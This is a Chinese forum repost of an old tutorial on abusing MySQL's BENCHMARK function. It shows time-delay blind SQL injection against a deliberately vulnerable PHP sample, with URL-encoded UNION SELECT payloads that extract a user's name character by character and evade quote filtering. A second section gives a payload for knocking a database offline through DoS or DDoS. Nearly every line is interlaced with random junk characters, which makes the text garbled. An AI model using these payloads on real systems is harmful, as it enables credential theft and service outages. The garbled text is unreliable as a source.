中国网络渗透测试联盟

标题: MYSQL中BENCHMARK函数的利用 [打印本页]

作者: admin    时间: 2012-9-15 14:03
标题: MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用
7 M5 L# X- h  ^本文作者:SuperHei
! i4 t# x) H! U& e2 z" {% N1 V/ ]8 N文章性质:原创. n4 T9 ^* o" Y! d2 g
发布日期:2005-01-02
" v3 `* e! u0 V- Z+ x0 ^0 b完成日期:2004-07-09
3 r# \7 b, {0 f$ a( c第一部3 q4 \5 {* g! k! ?+ ?
/ k0 C# t3 i. I+ U, _
利用时间推延进行注射---BENCHMARK函数在注射中的利用 0 |5 @/ T+ [8 G, N

7 l* s/ s4 t: f0 s% G, w一.前言/思路
- r$ o$ z" p% x  y, u2 N4 [! f
) T/ u% ^/ \/ ]- d6 _  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。2 E8 m; A. ?% e/ a
6 P8 N( w* `3 u$ H  X  p
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
5 l' v( f. s4 Q  d! C% M
/ W8 b" P$ z# r. U0 ~二.关于BENCHMARK函数! F9 J; _8 g& W/ R2 i
5 J6 ~# F* n4 J& Z+ P
  在MySQL参考手册里可以看到如下描叙: + w7 d+ c, |! V3 c- S

8 Y$ N/ K0 z/ p  i* k' q: M" f" T5 M1 ~# b
--------------------------------------------------------------------------------
8 W4 r2 p  H1 l5 O% E" l& ?
& e' e$ g; q& K- z/ u6 c" oBENCHMARK(count,expr) ; E$ m  G" u/ {, g: K6 i# H/ a( w
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
& F& T9 o3 O# s6 cmysql> select BENCHMARK(1000000,encode("hello","goodbye")); " q2 w6 e8 F+ e
+----------------------------------------------+
1 n4 P) x% t4 M: s" I" R; s7 q2 E| BENCHMARK(1000000,encode("hello","goodbye")) | 5 z; X( m/ `4 G( u) h9 l: \
+----------------------------------------------+
/ ~4 \& ]% D* |4 U+ {| 0 | : {' G% w. n, t6 I/ h0 |
+----------------------------------------------+ " m% C( U2 ?; `  c. E- P
1 row in set (4.74 sec) & J( h- E1 t6 W) F' P4 |& P% E1 P! ]

2 Z) E; ]% s. V9 R  l报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
; {( K' B" j4 c. |
5 v' K5 n! P& @$ e) D
- M# E& H% Q, o--------------------------------------------------------------------------------# V% p  F. z  ^" G1 @

( B7 \3 g2 v- [8 ^& f9 |) h  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: . f. ^7 Y6 e  ?6 u! C

; j/ d- L2 ~& x& {9 B# emysql> select md5( 'test' );
6 X/ B% o& G. A+----------------------------------+
9 `/ C1 n- M# f3 X5 P- ]| md5( 'test' ) |
. R/ q6 l- {" x+----------------------------------+ * @- C5 V' ]! n  F# m( j) a* L
| 098f6bcd4621d373cade4e832627b4f6 |
& t4 ^0 T5 H, J' a4 }( z* n& a9 J8 f+----------------------------------+ : D" @: y% K0 v# \5 Y
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
: U" f( H7 V% S- }' ^3 ]8 m
) l4 |9 D- u" Q6 d! imysql> select benchmark( 500000, md5( 'test' ) );
- D% u) R6 ~6 ~; m# v+------------------------------------+
" g6 ]& c; {( w" A0 I! ]) [  N* z* F| benchmark( 500000, md5( 'test' ) ) | 8 Z* i" }% O  F0 [) L
+------------------------------------+
& P: @2 b! t1 o  K2 U6 X4 t$ j| 0 | : Q4 U) N" ]! s# s& V  [
+------------------------------------+ 0 R) [, I2 L/ |- t0 \/ j0 |' j, Y
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
* N8 V$ Y# h7 o 6 X0 X9 T/ N7 Q& }: x5 A# _  A

7 L0 X# K% C7 ^+ a" a! y  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 7 l# j+ F! r+ b8 D  I+ z

2 ?* _- w4 J* n三.具体例子
4 X# ?; F7 Q9 B- O; w) n
, C$ I: j! \. O  首先我们看个简单的php代码:  N: Y$ q# z* @1 {# C! f, t; C

  }; F/ h6 b' C9 I+ Y  l& X< ?php
! t, ?; R8 v! H' c4 F$servername = "localhost";
$ g5 w: x3 P3 ~6 G; x+ z: R$dbusername = "root";
9 {; p8 R5 z( _/ X6 r2 p2 I, r6 P$dbpassword = "";
2 |( ^7 y; I5 S$dbname = "injection"; % M  X, x! C# g3 S, F/ B% W* D# k

0 W% }! I) b9 P5 J. e& M/ umysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
) z" t: O8 D* H/ w% m9 n) Z2 l  Q9 d
$sql = "SELECT * FROM article WHERE articleid=$id"; 1 a; _/ |/ h: ^$ t6 f
$result = mysql_db_query($dbname,$sql);
" C# s; r# B9 M6 F, a$row = mysql_fetch_array($result);
/ I/ S! r1 Y% V. Z6 j  F6 p! v
if (!$row) 3 I& C/ B! G' z9 c5 d
{ / m6 U# J& j2 X
exit;
6 t: Q  B( m/ v1 U; ?+ b$ H: f}
; [; T0 a" `; d# F7 i+ ^7 l?>
  E0 I- u: _! Z% I; O; c
3 v0 W6 e4 C. {9 N8 f( u1 V
" n0 Y/ Y1 r% S0 R3 E8 z5 }  数据库injection结构和内容如下:
; s! \' n- z: c% Y4 ^/ {& U. q7 R, p- j0 K, ~' F
# 数据库 : `injection`
- I( p9 ]: K+ Q8 m4 o9 c! q& t#
3 h& a: f& f0 e8 \5 U, O) x/ t7 A8 R
# -------------------------------------------------------- 7 V% f; G+ r+ Q- p
5 [$ h; H/ M' z/ |* y; a: h& Y
#
+ K7 N% E% T& d- ~# 表的结构 `article`
8 R) [% W( h) w8 }$ ]) W% {* _/ O+ l#
8 ]% g* v4 V) ?% ?7 n# d. Y" _  m: L( n& Q" {+ m
CREATE TABLE `article` ( 5 L+ Y0 J; |: k3 U1 T
`articleid` int(11) NOT NULL auto_increment,
' q/ J  y& |) ~4 g) {: \4 F`title` varchar(100) NOT NULL default '', & O) t+ N) ?& {& M7 K; r
`content` text NOT NULL,
. x! m8 I0 X# VPRIMARY KEY (`articleid`) 0 c% N, ^7 V! a, V! Y
) TYPE=MyISAM AUTO_INCREMENT=3 ;
3 V; j. @- f6 m( V5 @2 J+ g6 \7 n( O( B4 P6 u! d) m
# . F5 g4 n  R* J; [/ n& o  \* P
# 导出表中的数据 `article` ! k* J; }8 s. e0 @4 z- m) G( H5 Y
#
7 X5 b2 f4 `# |: _) T5 x' u; M; w, {1 g8 n7 j
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); - v. r7 C) _8 ^* T; q  A$ a( w6 x4 p
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
, J/ r" {4 q6 {8 C2 ?0 r" Y1 A7 J7 K  ?3 O/ s! \: I$ L
# -------------------------------------------------------- ! [) C) F. M& C: ?% Y7 z
  S5 T: S1 W  Q7 V) Q; M2 s1 x
# / B% w. m) D9 f( [
# 表的结构 `user`
9 L% M: r  n' K1 Q#
& q: v) D* |: g/ A$ f* O( S
; v% F, Y! {- |! E% ?8 U1 yCREATE TABLE `user` (
: c, q1 v8 Y7 {8 A`userid` int(11) NOT NULL auto_increment, 8 w0 s% r) d9 e( T
`username` varchar(20) NOT NULL default '',
: I! e; ?$ c. N' p" j( P% Q& k5 z& }`password` varchar(20) NOT NULL default '', # o* w( |3 ?2 V7 L
PRIMARY KEY (`userid`)
2 B4 S8 ]% G; ~5 K+ X! k0 f' f2 o) TYPE=MyISAM AUTO_INCREMENT=3 ; 4 x" h6 u& J, `0 U' k, U
3 d# e% o0 ?" W: \& q" ]; q$ N
# * R6 q+ C: m5 y# j. U! u
# 导出表中的数据 `user` & i/ a$ |7 Y4 R' Y3 G- R' i( w3 I
# / V4 E  W6 H6 a/ y* N
, w4 r  m4 M% _! U4 J0 `
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
" w/ S& Y) V# n, ~2 mINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
0 X8 X0 |: T/ [7 X; |) J $ ]5 w( H/ }+ m% F: f% H+ e* p
1 G- R  g! L+ R, u  @
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:$ _0 x6 R* a( U2 s) s- F" Y
, V/ H6 Z# {3 M* K) F- B: J
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
0 G$ R* y- G7 K3 N
3 c8 F+ l  u+ x' Y0 O1 Y0 B, a$ o: c
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:& Q% g* N7 W# ]: ~" ]: L* u6 Y7 M  q
8 g# Z  J5 g1 g+ U& C
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*! P" z  z; z& c* f& E; B

/ A0 R! Q& u* R5 ]5 K  t$ D' I' _2 I, r5 W# g# }- d
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 / G! ]: I& k: D/ P# o& v+ {
7 e( k& Y) o/ A. r; P! i4 }
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 3 ]4 m& `1 D- {: K, H5 q
' x8 k3 L0 n; [8 R8 @# k$ G
第二部
+ @6 M- H/ {1 ^4 f; g- |& F/ R( j5 Q! F
利用BENCHMARK函数进行ddos攻击 . x1 M8 x. M5 G# H) Q- v' |

8 D7 p' ]7 q: [3 G7 L* t9 C0 b  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
0 [8 E" g. x* y6 z- v0 f" p  n5 U  u/ g9 w& V# H6 `7 }  V
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41)); k( F6 N$ w; u. u8 Z0 c3 Z: n" ~4 M

1 |7 T+ W3 m0 D& D
# L. z: Q  K9 v$ t小结  i& ^- |( O/ O9 v7 x* Q  r& L. K2 `7 U

5 X$ r& O+ o6 f# [* G7 @) r  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
1 O. T1 m% @, u0 t0 x+ M 4 J+ X% r) l; o  C2 n
  5 J% }5 @& K& J2 f& N





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2